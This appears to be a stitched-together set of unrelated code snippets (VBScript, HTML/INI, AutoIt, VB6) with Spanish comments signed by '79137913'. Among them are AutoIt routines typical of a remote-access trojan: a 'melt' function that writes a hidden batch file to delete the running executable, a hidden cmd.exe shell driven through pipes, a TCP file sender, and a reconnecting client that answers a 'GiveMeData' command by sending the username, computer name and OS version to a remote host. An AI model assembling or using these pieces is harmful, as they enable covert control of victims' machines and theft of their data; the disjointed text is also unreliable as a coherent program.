Dim oLWFD 'as  object
Dim bCloseClick 'as boolean
  Set oLWFD = WScript.CreateObject("wshLWF_FormDesigner.ucLWFD", "oLWFD_")
  oLWFD.DesignForm()
  bCloseClick = False
  Do
    WScript.Sleep 200
  Loop Until bCloseClick
Set oLWFD = nothing  ' clean up
WScript.Quit
Sub oLWFD_frmCloseClick()
  MsgBox ("Saliendo del Programa, gracias por testear." & CHR(10) & CHR(13) & "By 79137913")
  bCloseClick = True
End Sub

<title>LoadFromIni("Titulo")</title>

Titulo="Titulo de mi web"

Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
	Local $BytesRead = 0
	$FileHandle = FileOpen($File, 16)
	While 1
		$Data = FileRead($FileHandle, $MaxLen)
		If @error Then ExitLoop
		$BytesRead += TCPSend($sock, $Data)
	Wend
	FileClose($FileHandle)
	Return SetError(0, 0, 1)
EndFunc   ;==>_TCPFileSend

Func _Melt() ;Elimina el ejecutable que esta corriendo.
	Local $sCmdFile
	FileDelete(@TempDir & "\scratch.bat")
	$sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
			 & ':loop' & @CRLF _
			 & 'del "' & @AutoItExe & '"' & @CRLF _
			 & 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
			 & 'del ' & @TempDir & '\scratch.bat' 
	FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
	Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc   ;==>_Melt

;Creado por 79137913
Global $cmdpid
Global $cmdresponse
 
;~ _iniciarCMD()
;~ _sendCMDCommand("ping 127.0.0.1",2)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _CerrarCMD()
Exit
func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
    StdinWrite($cmdpid,$command)
    StdinWrite($cmdpid,@CRLF)
	;StdinWrite($cmdpid)
    Local $data
	Local $response
	Local $timeout
	$data = ""
    While True
	    sleep(100)
        $data &= StdoutRead($cmdpid)
        If $data <> "" Then
			$response=$response & $data
			$data=""
			$timeout=0
		EndIf
		$timeout=$timeout+1 
		if $timeout=$timeoutlimit*10 then ExitLoop
    WEnd
    $cmdresponse = $response
EndFunc
func _CerrarCMD();Cerrar CMD
   StdinWrite($cmdpid)
EndFunc   
Func _IniciarCMD();Inicializar CMD
    $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)
EndFunc

#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
	  $Recibe =""
	  While $Recibe = ""
		 $Recibe=TCPRecv($Socket,10000000)
		 Sleep (100)
	  WEnd
	  $Dat = StringSplit($Recibe,"|||")
	  Select
	  case $Dat[1] = "GiveMeData"
		 TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
	  EndSelect
   WEnd
WEnd
 
Func _Conectar()
   While TCPStartup()=0
	  sleep (10)
   WEnd
   While True
	  $Socket=TCPConnect ($IP,$PORT)
	  If $Socket>0 Then
		 ExitLoop
	  EndIf
	  Sleep(1000)
   WEnd   
EndFunc

Private Function IsUnicode(expression As String) As String
'by 79137913
    Dim b() As Byte 'Se crea un array de bytes para almacenar el string
    Dim Aux As String 'se usara para comparar
    b = expression 'se usa un evil type convert para obtener todos los ascii de los caracteres de la expresion en las posiciones del array
    For x = 0 To UBound(b) Step 2
        Aux = Aux & Chr(b(x)) 'reconstruimos la expresion
    Next
    IsUnicode = (expression <> Aux) 'asignamos a IsUnicode el resultado de la comparacion
    'Si expression es = a aux dara Falso por que expression es totalmente Ascii, sino dara Verdadero por que contiene algun caracter Unicode.
End Function